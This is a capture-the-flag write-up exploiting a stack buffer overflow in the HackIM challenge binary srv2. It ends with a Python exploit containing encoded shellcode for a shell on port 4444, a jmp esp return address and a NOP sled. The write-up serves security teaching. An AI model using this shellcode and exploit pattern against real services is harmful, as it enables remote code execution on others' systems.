NullCon Vuln 2 Stack Based Buffer Overflow



Exploitation 200 HackIM

Triage

This challenge gave us a binary called srv2. Running file on the binary we are shown

File analysis
File analysis

CheckSec  revealed there was no NX but we assumed ASLR was enabled on the challenge server. From there we started the binary up and connect to it on localhost port 6776. I am greeted with a screen asking for input and putting in arbitrary values yields the output “invalid”.

File response
File response

Next I start-up my favorite disassembler, Hopper, and take a look to see what is causing this “invalid”. Checking strings we are able to see where “invalid” is cross referenced and are able to trace back into the main function.

Disassembly of comparison
Disassembly of comparison

As can be seen above there is a call to strchr and a compare of the returned value. A quick man search shows the strchr  function returns a pointer to the first occurrence of the character ‘c’ in the string ‘s’. Knowing this I wired a brute forcer to brute force printable characters and check output to see when information was recorded. The brute force code is shown below.

def gen_passwords(lst = None):
'''
USE: for i in gen_passwords(): Generates a brute force
list of all chars between decimal 30
and 123 also can take a pre made list
'''
if lst == None:
    lst = []
    for i in range (30, 123):
        lst.append(chr(i))

    for i in range(10):
        for K in itertools.product(lst, repeat=i):
            yield "".join(K)

The result of this showed that appending \: to the front of a string allowed the information to be properly recorded. After the CTF static analysis of the main function revealed 0x3a, “:”, is easily seen in the disassembled function and no brute forcing was necessary.  Next was to see where the potential vulnerable area was.

Recon

Buffer Overflow
Buffer Overflow

As can be seen there is an unbounded strcpy leading to a vanilla buffer overflow. The only thing left was to prepare the exploit. We calculated the size needed to overflow the return address to be 277.  If we analyze the stack after returning to an invalid address we can see esp is pointing to data we control.

Overloaded Stack
Corrupted Stack.

Exploitation

Doing a quick look through with object dump reveals a wonderful instruction called “jmp esp”

Jmp Esp
Trampoline.

Since before we are able to control the value at ESP, we can simply put the address of this gadget as our return address and direct execution to shellcode on the stack. A gadget like this is known as a trampoline and is further explained in Bypassing Memory Protections: The Future of Exploitation. This allows us to bypass ASLR by not needing to know where in memory our shell code is but simply use a relative jump to a known register. Below is the final code for this exploit using a connect back shell code binding to port 4444.

from isis import *
from struct import pack

bind_4444 =(  "\xeb\x12\x5b\x31\xc9\xb1\x75\x8a\x03\x34"
"\x1e\x88\x03\x43\x66\x49\x75\xf5\xeb\x05"
"\xe8\xe9\xff\xff\xff\x74\x78\x46\x74\x1f"
"\x45\x2f\xd7\x4f\x74\x1f\x74\x1c\x97\xff"
"\xd3\x9e\x97\xd8\x2f\xcc\x4c\x78\x76\x0f"
"\x42\x78\x76\x1c\x1e\x97\xff\x74\x0e\x4f"
"\x4e\x97\xff\xad\x1c\x74\x78\x46\xd3\x9e"
"\xae\x78\xad\x1a\xd3\x9e\x4c\x48\x97\xff"
"\x5d\x74\x78\x46\xd3\x9e\x97\xdd\x74\x1c"
"\x47\x74\x21\x46\xd3\x9e\xfc\xe7\x74\x21"
"\x46\xd3\x9e\x2f\xcc\x4c\x76\x70\x31\x6d"
"\x76\x76\x31\x31\x7c\x77\x97\xfd\x4c\x78"
"\x76\x33\x77\x97\xff\x4c\x4f\x4d\x97\xff"
"\x74\x15\x46\xd3\x9e\x74\x1f\x46\x2f\xc5"
"\xd3\xe9")

# BYPASS INITIAL CHECK
load = "\"\":"
# OVERFLOW BUFFER
load = "\"\":"
load += ("A" *20 + "B" * 20 + "C" * 20 +
"D" * 20 + "E" * 20 + "F" * 20 +
"G" * 20 + "AAAABBBBCCCCDDDDFFFFEEEEGGGGHHHHJJJJ" +
"0000111122223333444455556666777788889999" +
"AAAABBBB")

#OVERWRITE RETURN ADDRESS
jmp_esp=0x08048817 #: jmp esp
load += pack("I", jmp_esp)

#NOP SLED BEHIND RETURN ADDRESS
load += pack("I", 0x90909090) * 200
shellcode = bind_4444
load += shellcode

#ORIGINAL CHALLENGE LOCATION
#s = get_socket(('23.23.190.205', 6776))
s = get_socket(('LOCALHOST', 6776))

s.send(load + "\n")